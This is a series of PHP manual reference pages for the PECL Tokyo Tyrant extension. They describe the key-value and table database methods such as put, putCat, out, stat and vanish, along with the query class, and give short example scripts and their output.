Description

public TokyoTyrantIterator TokyoTyrant::getIterator ( void )

Gets an iterator for iterating all keys / values in the database.

Parameters

This function has no parameters.

Return Values

This method returns TokyoTyrantIterator object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrant::getIterator() example

<?php
$tt = new TokyoTyrant("localhost");
$it = $tt->getIterator();

foreach ($it as $k => $v) {

}
?>

See Also

  • TokyoTyrantTable::getQuery() - Get a query object
  • TokyoTyrantTable::getIterator() - Get an iterator

User Contributed Notes

There are no user contributed notes for this page.


Number of records in the database

  • « TokyoTyrant::getIterator
  • TokyoTyrant::out »
  • PHP Manual
  • TokyoTyrant
  • Number of records in the database

TokyoTyrant::num

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::num — Number of records in the database

Description

public int TokyoTyrant::num ( void )

Returns the number of records in the database

Parameters

This function has no parameters.

Return Values

Returns number of records in the database

Examples

Example #1 TokyoTyrant::num() example

<?php
/* Connect to a database on default port */
$tt = new TokyoTyrant("localhost");

/* Echo the number of records */
echo $tt->num();
?>

The above example will output something similar to:

1234

See Also

  • TokyoTyrant::stat() - Get statistics

User Contributed Notes

There are no user contributed notes for this page.


Removes records

  • « TokyoTyrant::num
  • TokyoTyrant::put »
  • PHP Manual
  • TokyoTyrant
  • Removes records

TokyoTyrant::out

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::out — Removes records

Description

public TokyoTyrant TokyoTyrant::out ( mixed $keys )

Removes a record or multiple records. This method accepts a string for a single key or an array of keys for multiple records.

Parameters

keys

A string key or an array of string keys

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrant::out() example

<?php
/* Connect to a database on default port */
$tt = new TokyoTyrant("localhost");

$tt->put("test1", "value1");
$tt->put("test2", "value2");

$tt->out(array("test1", "test2"));
?>

See Also

  • TokyoTyrant::put() - Puts values

User Contributed Notes

There are no user contributed notes for this page.


Puts values

  • « TokyoTyrant::out
  • TokyoTyrant::putCat »
  • PHP Manual
  • TokyoTyrant
  • Puts values

TokyoTyrant::put

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::put — Puts values

Description

public TokyoTyrant TokyoTyrant::put ( mixed $keys [, string $value = NULL ] )

Puts a key-value pair into the database or multiple key-value pairs. If keys is string then the second parameter value defines the value. The second parameter is mandatory if keys is a string. If the key exists the value will be replaced with new value.

Parameters

keys

A string key or an array of key-value pairs

value

The value in case a string key is used

Return Values

This method returns a reference to the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrant::put() example

<?php
/* Connect to a database on default port */
$tt = new TokyoTyrant("localhost");

/* Put single key-value pair */
$tt->put("key", "value");

/* Put key-value pairs, new value overwrites the old */
$tt->put(array("key1" => "value1", "key" => "value2"));

/* Get back one key */
echo $tt->get("key");
?>

The above example will output:

value2

See Also

  • TokyoTyrant::putKeep() - Puts a record
  • TokyoTyrant::putCat() - Concatenates to a record

User Contributed Notes

There are no user contributed notes for this page.


Concatenates to a record

  • « TokyoTyrant::put
  • TokyoTyrant::putKeep »
  • PHP Manual
  • TokyoTyrant
  • Concatenates to a record

TokyoTyrant::putCat

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::putCat — Concatenates to a record

Description

public TokyoTyrant TokyoTyrant::putCat ( mixed $keys [, string $value ] )

Appends a value into existing key or multiple values if keys is an array. The second parameter is mandatory if keys is a string. If the record does not exist a new record is created.

Parameters

keys

A string key or an array of key-value pairs

value

The value in case a string key is used

Return Values

This method returns a reference to the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrant::putCat() example

<?php
/* Connect to a database on default port */
$tt = new TokyoTyrant("localhost");

/* Create a new key */
$tt->put("key", "value");

/* Concatenate single key-value pair */
$tt->putCat("key", " has more data");

/* Echo the key */
echo $tt->get("key");
?>

The above example will output:

value has more data

See Also

  • TokyoTyrant::put() - Puts values
  • TokyoTyrant::putKeep() - Puts a record

User Contributed Notes

There are no user contributed notes for this page.


Puts a record

  • « TokyoTyrant::putCat
  • TokyoTyrant::putNr »
  • PHP Manual
  • TokyoTyrant
  • Puts a record

TokyoTyrant::putKeep

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::putKeep — Puts a record

Description

public TokyoTyrant TokyoTyrant::putKeep ( mixed $keys [, string $value ] )

Puts a key-value pair into the database or multiple key-value pairs. If keys is string then the second parameter value defines the value. The second parameter is mandatory if keys is a string. If the key already exists this method throws an exception indicating that the records exists.

Parameters

keys

A string key or an array of key-value pairs

value

The string value

Return Values

This method returns a reference to the current object and throws TokyoTyrantException on failure.

Examples

Example #1 tokyotyrant::putKeep() example

<?php
/* Connect to a database on default port */
$tt = new TokyoTyrant("localhost");

/* Create a new key */
$tt->put("key", "value");

try {
    $tt->putKeep("key", "new value");
} catch (TokyoTyrantException $e) {
    if ($e->getCode() === TokyoTyrant::TTE_KEEP) {
        echo "Existing record! Not modified\n";
    } else {
        echo "Error: " , $e->getMessage() , "\n";
    }
}
echo $tt->get("key");
?>

The above example will output:

Existing record! Not modified
value

See Also

  • TokyoTyrant::put() - Puts values
  • TokyoTyrant::putCat() - Concatenates to a record

User Contributed Notes

There are no user contributed notes for this page.


Puts value

  • « TokyoTyrant::putKeep
  • TokyoTyrant::putShl »
  • PHP Manual
  • TokyoTyrant
  • Puts value

TokyoTyrant::putNr

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::putNr — Puts value

Description

public TokyoTyrant TokyoTyrant::putNr ( mixed $keys [, string $value = NULL ] )

Puts a key-value pair into the database or multiple key-value pairs. If keys is string then the second parameter value defines the value. The second parameter is mandatory if keys is a string. This method does not wait for the response from the server.

Parameters

keys

A string key or an array of key-value pairs

value

The value in case a string key is used

Return Values

This method returns a reference to the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrant::putNr() example

<?php
/* Connect to a database on default port */
$tt = new TokyoTyrant("localhost");

/* Put single key-value pair */
$tt->putNr("key", "value");

/* Put key-value pairs */
$tt->putNr(array("key1" => "value1", "key2" => "value2"));

/* Get back one key */
echo $tt->get("key1");
?>

The above example will output:

value1

See Also

  • TokyoTyrant::putNr()
  • TokyoTyrant::putKeep() - Puts a record
  • TokyoTyrant::putCat() - Concatenates to a record

User Contributed Notes

There are no user contributed notes for this page.


Concatenates to a record

  • « TokyoTyrant::putNr
  • TokyoTyrant::restore »
  • PHP Manual
  • TokyoTyrant
  • Concatenates to a record

TokyoTyrant::putShl

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::putShl — Concatenates to a record

Description

public mixed TokyoTyrant::putShl ( string $key , string $value , int $width )

Concatenate to a record and shift to left.

Parameters

key

A string key

value

The value to concatenate

width

The width of the record

Return Values

This method returns a reference to the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrant::putShl() example

<?php
/* Connect to a database on default port */
$tt = new TokyoTyrant("localhost");

/* Create a new key */
$tt->put("key", "just a long piece of data");

/* Concatenate and shift to left */
$tt->putShl("key", " and string", 15);

/* Echo the key */
echo $tt->get("key");
?>

The above example will output:

data and string

See Also

  • TokyoTyrant::put() - Puts values
  • TokyoTyrant::putKeep() - Puts a record
  • TokyoTyrant::putCat() - Concatenates to a record

User Contributed Notes

There are no user contributed notes for this page.


Restore the database

  • « TokyoTyrant::putShl
  • TokyoTyrant::setMaster »
  • PHP Manual
  • TokyoTyrant
  • Restore the database

TokyoTyrant::restore

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::restore — Restore the database

Description

public mixed TokyoTyrant::restore ( string $log_dir , int $timestamp [, bool $check_consistency = true ] )

Restore the database from the update log.

Warning

This method is not supported on 32bit platforms.

Parameters

log_dir

Directory where the log is

timestamp

Beginning timestamp with microseconds

check_consistency

Whether to check consistency: Default: TRUE

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set the replication master

  • « TokyoTyrant::restore
  • TokyoTyrant::size »
  • PHP Manual
  • TokyoTyrant
  • Set the replication master

TokyoTyrant::setMaster

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::setMaster — Set the replication master

Description

public mixed TokyoTyrant::setMaster ( string $host , int $port , int $timestamp [, bool $check_consistency = true ] )

Sets the replication master of the database

Warning

This method is not supported on 32bit platforms.

Parameters

host

Hostname of the replication master. If NULL the replication is disabled.

port

Port of the replication master

timestamp

Beginning timestamp with microseconds

check_consistency

Whether to check consistency.

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrant::setMaster() example

<?php
/* Connect to a database */
$tt = new TokyoTyrant("tokyotyrant.example.com");

/* Disable the replication */
$tt->setMaster(NULL, 0, 0);
?>

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


Returns the size of the value

  • « TokyoTyrant::setMaster
  • TokyoTyrant::stat »
  • PHP Manual
  • TokyoTyrant
  • Returns the size of the value

TokyoTyrant::size

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::size — Returns the size of the value

Description

public int TokyoTyrant::size ( string $key )

Returns the size of a value by key

Parameters

key

The key of which size to fetch

Return Values

Returns the size of the key or throw TokyoTyrantException on error

Examples

Example #1 TokyoTyrant::size() example

<?php
$tt = new TokyoTyrant("localhost");

$tt->put("test_key", "12345");

echo $tt->size("test_key");
?>

The above example will output:

5

User Contributed Notes

There are no user contributed notes for this page.


Get statistics

  • « TokyoTyrant::size
  • TokyoTyrant::sync »
  • PHP Manual
  • TokyoTyrant
  • Get statistics

TokyoTyrant::stat

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::stat — Get statistics

Description

public array TokyoTyrant::stat ( void )

Returns statistics of the remote database

Parameters

This function has no parameters.

Return Values

Returns an array of key value pairs describing the statistics

Examples

Example #1 TokyoTyrant::stat() example

<?php
$tt = new TokyoTyrant("localhost");

var_dump($tt->stat());
?>

The above example will output something similar to:

array(19) {
  ["version"]=>
  string(6) "1.1.28"
  ["libver"]=>
  string(3) "311"
  ["protver"]=>
  string(4) "0.91"
  ["os"]=>
  string(5) "Linux"
  ["time"]=>
  string(17) "1247358357.665630"
  ["pid"]=>
  string(5) "14348"
  ["sid"]=>
  string(8) "59025947"
  ["type"]=>
  string(9) "on-memory"
  ["path"]=>
  string(1) "*"
  ["rnum"]=>
  string(1) "4"
  ["size"]=>
  string(6) "262856"
  ["bigend"]=>
  string(1) "0"
  ["fd"]=>
  string(1) "5"
  ["loadavg"]=>
  string(8) "0.000000"
  ["memsize"]=>
  string(8) "77328384"
  ["memrss"]=>
  string(7) "1183744"
  ["ru_real"]=>
  string(13) "162776.042152"
  ["ru_user"]=>
  string(8) "0.476029"
  ["ru_sys"]=>
  string(8) "8.652540"
}

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


Synchronize the database

  • « TokyoTyrant::stat
  • TokyoTyrant::tune »
  • PHP Manual
  • TokyoTyrant
  • Synchronize the database

TokyoTyrant::sync

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::sync — Synchronize the database

Description

public mixed TokyoTyrant::sync ( void )

Synchronizes the database on to the physical device

Parameters

This function has no parameters.

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

User Contributed Notes

There are no user contributed notes for this page.


Tunes connection values

  • « TokyoTyrant::sync
  • TokyoTyrant::vanish »
  • PHP Manual
  • TokyoTyrant
  • Tunes connection values

TokyoTyrant::tune

(PECL tokyo_tyrant >= 0.2.0)

TokyoTyrant::tune — Tunes connection values

Description

public TokyoTyrant TokyoTyrant::tune ( float $timeout [, int $options = TokyoTyrant::RDBT_RECON ] )

Tunes database connection options.

Parameters

timeout

The objects timeout value (default: 5.0)

options

Bitmask of options to tune. This can be either 0 or TokyoTyrant::RDBT_RECON. It is recommended not to change the second parameter.

Return Values

This method returns a reference to the current object and throws TokyoTyrantException on failure.

User Contributed Notes

There are no user contributed notes for this page.


Empties the database

  • « TokyoTyrant::tune
  • TokyoTyrantTable »
  • PHP Manual
  • TokyoTyrant
  • Empties the database

TokyoTyrant::vanish

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::vanish — Empties the database

Description

public mixed TokyoTyrant::vanish ( void )

Empties a remote database

Parameters

This function has no parameters.

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrant::vanish() example

<?php
$tt = new TokyoTyrant("localhost");
$tt->vanish();
?>

See Also

  • TokyoTyrant::out() - Removes records

User Contributed Notes

There are no user contributed notes for this page.


The TokyoTyrantTable class

(PECL tokyo_tyrant >= 0.1.0)

Introduction

Provides an API to the table databases. A table database can be create using the following command: ttserver -port 1979 /tmp/tt_table.tct. In Tokyo Tyrant the table API is a schemaless database which can store arbitrary amount of key-value pairs under a single primary key.

Class synopsis

TokyoTyrantTable extends TokyoTyrant {
/* Methods */
public void add ( string $key , mixed $increment [, string $type ] )
public int genUid ( void )
public void get ( mixed $keys )
public TokyoTyrantIterator getIterator ( void )
public TokyoTyrantQuery getQuery ( void )
public void out ( mixed $keys )
public int put ( string $key , array $columns )
public void putCat ( string $key , array $columns )
public void putKeep ( string $key , array $columns )
public void putNr ( mixed $keys [, string $value ] )
public void putShl ( string $key , string $value , int $width )
public mixed setIndex ( string $column , int $type )
/* Inherited methods */
public number TokyoTyrant::add ( string $key , number $increment [, int $type = 0 ] )
public TokyoTyrant TokyoTyrant::connect ( string $host [, int $port = TokyoTyrant::RDBDEF_PORT [, array $options ]] )
public TokyoTyrant TokyoTyrant::connectUri ( string $uri )
public TokyoTyrant::__construct ([ string $host [, int $port = TokyoTyrant::RDBDEF_PORT [, array $options ]]] )
public TokyoTyrant TokyoTyrant::copy ( string $path )
public string TokyoTyrant::ext ( string $name , int $options , string $key , string $value )
public array TokyoTyrant::fwmKeys ( string $prefix , int $max_recs )
public mixed TokyoTyrant::get ( mixed $keys )
public TokyoTyrantIterator TokyoTyrant::getIterator ( void )
public int TokyoTyrant::num ( void )
public TokyoTyrant TokyoTyrant::out ( mixed $keys )
public TokyoTyrant TokyoTyrant::put ( mixed $keys [, string $value = NULL ] )
public TokyoTyrant TokyoTyrant::putCat ( mixed $keys [, string $value ] )
public TokyoTyrant TokyoTyrant::putKeep ( mixed $keys [, string $value ] )
public TokyoTyrant TokyoTyrant::putNr ( mixed $keys [, string $value = NULL ] )
public mixed TokyoTyrant::putShl ( string $key , string $value , int $width )
public mixed TokyoTyrant::restore ( string $log_dir , int $timestamp [, bool $check_consistency = true ] )
public mixed TokyoTyrant::setMaster ( string $host , int $port , int $timestamp [, bool $check_consistency = true ] )
public int TokyoTyrant::size ( string $key )
public array TokyoTyrant::stat ( void )
public mixed TokyoTyrant::sync ( void )
public TokyoTyrant TokyoTyrant::tune ( float $timeout [, int $options = TokyoTyrant::RDBT_RECON ] )
public mixed TokyoTyrant::vanish ( void )
}

Table of Contents

  • TokyoTyrantTable::add — Adds a record
  • TokyoTyrantTable::genUid — Generate unique id
  • TokyoTyrantTable::get — Get a row
  • TokyoTyrantTable::getIterator — Get an iterator
  • TokyoTyrantTable::getQuery — Get a query object
  • TokyoTyrantTable::out — Remove records
  • TokyoTyrantTable::put — Store a row
  • TokyoTyrantTable::putCat — Concatenates to a row
  • TokyoTyrantTable::putKeep — Put a new record
  • TokyoTyrantTable::putNr — Puts value
  • TokyoTyrantTable::putShl — Concatenates to a record
  • TokyoTyrantTable::setIndex — Sets index

User Contributed Notes

There are no user contributed notes for this page.


Adds a record

  • « TokyoTyrantTable
  • TokyoTyrantTable::genUid »
  • PHP Manual
  • TokyoTyrantTable
  • Adds a record

TokyoTyrantTable::add

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::add — Adds a record

Description

public void TokyoTyrantTable::add ( string $key , mixed $increment [, string $type ] )

This method is not supported with table databases.

Parameters

key

The string key

increment

The amount to increment

type

TokyoTyrant::RDB_RECINT or TokyoTyrant::RDB_RECDBL constant. If this parameter is omitted the type is guessed from the increment parameters type.

Return Values

This method throws an TokyoTyrantException if used through this class.

See Also

  • TokyoTyrant::add() - Adds to a numeric key

User Contributed Notes

There are no user contributed notes for this page.


Generate unique id

  • « TokyoTyrantTable::add
  • TokyoTyrantTable::get »
  • PHP Manual
  • TokyoTyrantTable
  • Generate unique id

TokyoTyrantTable::genUid

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::genUid — Generate unique id

Description

public int TokyoTyrantTable::genUid ( void )

Generates an unique id inside the table database. In table databases rows are referenced using a numeric primary key.

Parameters

This function has no parameters.

Return Values

Returns an unique id or throws TokyoTyrantException on error

Examples

Example #1 TokyoTyrantTable::genUid() example

<?php
$tt = new TokyoTyrantTable("localhost", 1122);

echo $tt->genUid();
?>

The above example will output something similar to:

4

See Also

  • TokyoTyrantTable::put() - Store a row

User Contributed Notes

There are no user contributed notes for this page.


Get a row

  • « TokyoTyrantTable::genUid
  • TokyoTyrantTable::getIterator »
  • PHP Manual
  • TokyoTyrantTable
  • Get a row

TokyoTyrantTable::get

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::get — Get a row

Description

public void TokyoTyrantTable::get ( mixed $keys )

Gets a row from table database. keys is a single integer for the primary key of the row or an array of integers for multiple rows.

Parameters

keys

The primary key, can be a string or an integer

Return Values

Returns the row as an array

Examples

Example #1 TokyoTyrantTable::get() example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Passing null to put generates a new uid */
$index = $tt->put(null, array("column1" => "some data", "column2" => "more data"));

/* Get the row back */
var_dump($tt->get($index));
?>

The above example will output:

array(2) {
  ["column1"]=>
  string(9) "some data"
  ["column2"]=>
  string(9) "more data"
}

Notes

Note:

Starting from version 0.3.0 this method accepts array as parameter. Please note that multi-get on tables is not binary-safe.

See Also

  • TokyoTyrantTable::put() - Store a row

User Contributed Notes

There are no user contributed notes for this page.


Get an iterator

  • « TokyoTyrantTable::get
  • TokyoTyrantTable::getQuery »
  • PHP Manual
  • TokyoTyrantTable
  • Get an iterator

TokyoTyrantTable::getIterator

(No version information available, might only be in Git)

TokyoTyrantTable::getIterator — Get an iterator

Description

public TokyoTyrantIterator TokyoTyrantTable::getIterator ( void )

Gets an iterator for iterating all keys / values in the database.

Parameters

This function has no parameters.

Return Values

This method returns TokyoTyrantIterator object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrantTable::getIterator() example

<?php
$tt = new TokyoTyrantTable("localhost");
$it = $tt->getIterator();

foreach ($it as $k => $v) {
  var_dump($k, $v);
}
?>

See Also

  • TokyoTyrantTable::getQuery() - Get a query object
  • TokyoTyrant::getIterator() - Get an iterator

User Contributed Notes

There are no user contributed notes for this page.


Get a query object

  • « TokyoTyrantTable::getIterator
  • TokyoTyrantTable::out »
  • PHP Manual
  • TokyoTyrantTable
  • Get a query object

TokyoTyrantTable::getQuery

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::getQuery — Get a query object

Description

public TokyoTyrantQuery TokyoTyrantTable::getQuery ( void )

Get a query object to execute searches on the database

Parameters

This function has no parameters.

Return Values

Returns TokyoTyrantQuery on success and throws TokyoTyrantException on error

Examples

Example #1 TokyoTyrantTable::getQuery() example

<?php
/* Connect to a table database */
$table = new TokyoTyrantTable("localhost", 1979);

/* Put a few rows */
$table->put(null, array("column1" => "some data", "column2" => "more data"));
$table->put(null, array("something" => "value", "data" => "good data"));

/* Get query object */
$query = $table->getQuery();

/* Add condition to query */
$query->addCond('data', TokyoTyrant::RDBQC_STREQ, 'good data');

/* Get matching rows */
var_dump($query->search());
?>

The above example will output something similar to:

array(1) {
  [11]=>
  array(2) {
    ["something"]=>
    string(5) "value"
    ["data"]=>
    string(9) "good data"
  }
}

See Also

  • TokyoTyrantQuery::search() - Searches records
  • TokyoTyrantQuery::out() - Removes records based on query

User Contributed Notes

There are no user contributed notes for this page.


Remove records

  • « TokyoTyrantTable::getQuery
  • TokyoTyrantTable::put »
  • PHP Manual
  • TokyoTyrantTable
  • Remove records

TokyoTyrantTable::out

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::out — Remove records

Description

public void TokyoTyrantTable::out ( mixed $keys )

Removes records from a table database.

Parameters

keys

A single integer key or an array of integers

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrantTable::out() example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Passing null to put generates a new uid */
$index = $tt->put(null, array("column1" => "some data", "column2" => "more data"));

/* Delete the row */
$tt->out($index);
?>

See Also

  • TokyoTyrantTable::put() - Store a row

User Contributed Notes

There are no user contributed notes for this page.


Store a row

  • « TokyoTyrantTable::out
  • TokyoTyrantTable::putCat »
  • PHP Manual
  • TokyoTyrantTable
  • Store a row

TokyoTyrantTable::put

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::put — Store a row

Description

public int TokyoTyrantTable::put ( string $key , array $columns )

Puts a new row into the database. This method parameters are key which is the primary key of the row, passing NULL will generate a new unique id. value is an array containing the row contents which is usually key value pairs.

Parameters

key

The primary key of the row

columns

The row contents

Return Values

Returns the primary key on success and throws TokyoTyrantException on error

Examples

Example #1 TokyoTyrantTable::put() example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Passing null to put generates a new uid */
$index = $tt->put(null, array("column1" => "some data", "column2" => "more data"));

/* Get the row back */
var_dump($tt->get($index));

/* Modify an existing row */
$tt->put($index, array("column1" => "other data", "column2" => "better data"));

/* Get the row back */
var_dump($tt->get($index));
?>

The above example will output:

array(2) {
  ["column1"]=>
  string(9) "some data"
  ["column2"]=>
  string(9) "more data"
}
array(2) {
  ["column1"]=>
  string(10) "other data"
  ["column2"]=>
  string(11) "better data"
}

See Also

  • TokyoTyrantTable::get() - Get a row

User Contributed Notes

There are no user contributed notes for this page.


Concatenates to a row

  • « TokyoTyrantTable::put
  • TokyoTyrantTable::putKeep »
  • PHP Manual
  • TokyoTyrantTable
  • Concatenates to a row

TokyoTyrantTable::putCat

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::putCat — Concatenates to a row

Description

public void TokyoTyrantTable::putCat ( string $key , array $columns )

This method can be used to add new columns to existing records. Existing keys will be left unmodified but any new columns will be appended to the row. Passing null as key will generate a new row.

Parameters

key

The primary key of the row or NULL

columns

Array of row contents

Return Values

Returns the primary key and throws TokyoTyrantException on error.

Examples

Example #1 TokyoTyrantTable::putCat() example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Passing null to put generates a new uid */
$index = $tt->put(null, array("column1" => "some data", "column2" => "more data"));

/* Get the row back */
var_dump($tt->get($index));

/* Modify an existing row */
$tt->putcat($index, array("column1" => "something new", "new_column" => "other data"));

/* Get the row back */
var_dump($tt->get($index));
?>

The above example will output:

array(2) {
  ["column1"]=>
  string(9) "some data"
  ["column2"]=>
  string(9) "more data"
}
array(3) {
  ["column1"]=>
  string(9) "some data"
  ["column2"]=>
  string(9) "more data"
  ["new_column"]=>
  string(10) "other data"
}

See Also

  • TokyoTyrantTable::put() - Store a row

User Contributed Notes

There are no user contributed notes for this page.


Put a new record

  • « TokyoTyrantTable::putCat
  • TokyoTyrantTable::putNr »
  • PHP Manual
  • TokyoTyrantTable
  • Put a new record

TokyoTyrantTable::putKeep

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::putKeep — Put a new record

Description

public void TokyoTyrantTable::putKeep ( string $key , array $columns )

Puts a new record into the database. If the key already exists this method throws an exception indicating that the records exists.

Parameters

key

The primary key of the row or NULL

columns

Array of the row contents

Return Values

Returns the primary key and throws TokyoTyrantException on error.

Examples

Example #1 TokyoTyrantTable::putKeep() example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Passing null to put generates a new uid */
$index = $tt->put(null, array("column1" => "some data", "column2" => "more data"));

/* Get the row back */
var_dump($tt->get($index));

try {
    $tt->putKeep($index, array("column1" => "something new", "new_column" => "other data"));
} catch (TokyoTyrantException $e) {
    if ($e->getCode() === TokyoTyrant::TTE_KEEP) {
        echo "Existing record! Not modified\n";
    } else {
        echo "Error: " , $e->getMessage() , "\n";
    }
}

/* Get the row back */
var_dump($tt->get($index));
?>

The above example will output something similar to:

array(2) {
  ["column1"]=>
  string(9) "some data"
  ["column2"]=>
  string(9) "more data"
}
Existing record! Not modified
array(2) {
  ["column1"]=>
  string(9) "some data"
  ["column2"]=>
  string(9) "more data"
}

See Also

  • TokyoTyrantTable::put() - Store a row

User Contributed Notes

There are no user contributed notes for this page.


Puts value

  • « TokyoTyrantTable::putKeep
  • TokyoTyrantTable::putShl »
  • PHP Manual
  • TokyoTyrantTable
  • Puts value

TokyoTyrantTable::putNr

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::putNr — Puts value

Description

public void TokyoTyrantTable::putNr ( mixed $keys [, string $value ] )

This method is not supported on table databases. Calling this method through TokyoTyrantTable is considered an error and an TokyoTyrantException will be thrown.

Parameters

keys

A string key or an array of key-value pairs

value

The value in case a string key is used

Return Values

This method is not supported on table databases. Calling this method through TokyoTyrantTable is considered an error and an TokyoTyrantException will be thrown.

See Also

  • TokyoTyrant::putNr() - Puts value
  • TokyoTyrant::putKeep() - Puts a record
  • TokyoTyrant::putCat() - Concatenates to a record

User Contributed Notes

There are no user contributed notes for this page.


Concatenates to a record

  • « TokyoTyrantTable::putNr
  • TokyoTyrantTable::setIndex »
  • PHP Manual
  • TokyoTyrantTable
  • Concatenates to a record

TokyoTyrantTable::putShl

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::putShl — Concatenates to a record

Description

public void TokyoTyrantTable::putShl ( string $key , string $value , int $width )

This method is not supported on table databases. Calling this method through TokyoTyrantTable is considered an error and an TokyoTyrantException will be thrown.

Parameters

key

A string key

value

The value to concatenate

width

The width of the record

Return Values

This method is not supported on table databases.

See Also

  • TokyoTyrant::put() - Puts values
  • TokyoTyrant::putKeep() - Puts a record
  • TokyoTyrant::putCat() - Concatenates to a record
  • TokyoTyrantTable::put() - Store a row
  • TokyoTyrantTable::putKeep() - Put a new record
  • TokyoTyrantTable::putCat() - Concatenates to a row

User Contributed Notes

There are no user contributed notes for this page.


Sets index

  • « TokyoTyrantTable::putShl
  • TokyoTyrantQuery »
  • PHP Manual
  • TokyoTyrantTable
  • Sets index

TokyoTyrantTable::setIndex

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::setIndex — Sets index

Description

public mixed TokyoTyrantTable::setIndex ( string $column , int $type )

Sets an index on a specified column. The index type is one of the TokyoTyrant::RDBIT_* constants. Passing TokyoTyrant::RDBIT_VOID removes the index.

Parameters

column

The name of the column

type

The index type

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

User Contributed Notes

There are no user contributed notes for this page.


The TokyoTyrantQuery class

(PECL tokyo_tyrant >= 0.1.0)

Introduction

This class is used to query the table databases

Class synopsis

TokyoTyrantQuery implements Iterator {
/* Methods */
public mixed addCond ( string $name , int $op , string $expr )
public __construct ( TokyoTyrantTable $table )
public int count ( void )
public array current ( void )
public string hint ( void )
public string key ( void )
public array metaSearch ( array $queries , int $type )
public array next ( void )
public TokyoTyrantQuery out ( void )
public bool rewind ( void )
public array search ( void )
public mixed setLimit ([ int $max [, int $skip ]] )
public mixed setOrder ( string $name , int $type )
public bool valid ( void )
}

Table of Contents

  • TokyoTyrantQuery::addCond — Adds a condition to the query
  • TokyoTyrantQuery::__construct — Construct a new query
  • TokyoTyrantQuery::count — Counts records
  • TokyoTyrantQuery::current — Returns the current element
  • TokyoTyrantQuery::hint — Get the hint string of the query
  • TokyoTyrantQuery::key — Returns the current key
  • TokyoTyrantQuery::metaSearch — Retrieve records with multiple queries
  • TokyoTyrantQuery::next — Moves the iterator to next entry
  • TokyoTyrantQuery::out — Removes records based on query
  • TokyoTyrantQuery::rewind — Rewinds the iterator
  • TokyoTyrantQuery::search — Searches records
  • TokyoTyrantQuery::setLimit — Limit results
  • TokyoTyrantQuery::setOrder — Orders results
  • TokyoTyrantQuery::valid — Checks the validity of current item

User Contributed Notes

There are no user contributed notes for this page.


Adds a condition to the query

  • « TokyoTyrantQuery
  • TokyoTyrantQuery::__construct »
  • PHP Manual
  • TokyoTyrantQuery
  • Adds a condition to the query

TokyoTyrantQuery::addCond

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::addCond — Adds a condition to the query

Description

public mixed TokyoTyrantQuery::addCond ( string $name , int $op , string $expr )

Adds a condition to the query. Condition can be something like: get all keys which value matches expr.

Parameters

name

Name of the column in the condition

op

The operator. One of the TokyoTyrant::RDBQC_* constants

expr

The expression

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrantQuery::addCond() example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Add rows */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "not here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* Get a new query object */
$query = $tt->getQuery();

/* Add a search condition */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* Dump the search results */
var_dump($query->search());
?>

The above example will output:

array(2) {
  [1]=>
  array(2) {
    ["column1"]=>
    string(9) "some data"
    ["column2"]=>
    string(14) "something here"
  }
  [4]=>
  array(2) {
    ["column45"]=>
    string(11) "random data"
    ["column2"]=>
    string(25) "something along the lines"
  }
}

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


Construct a new query

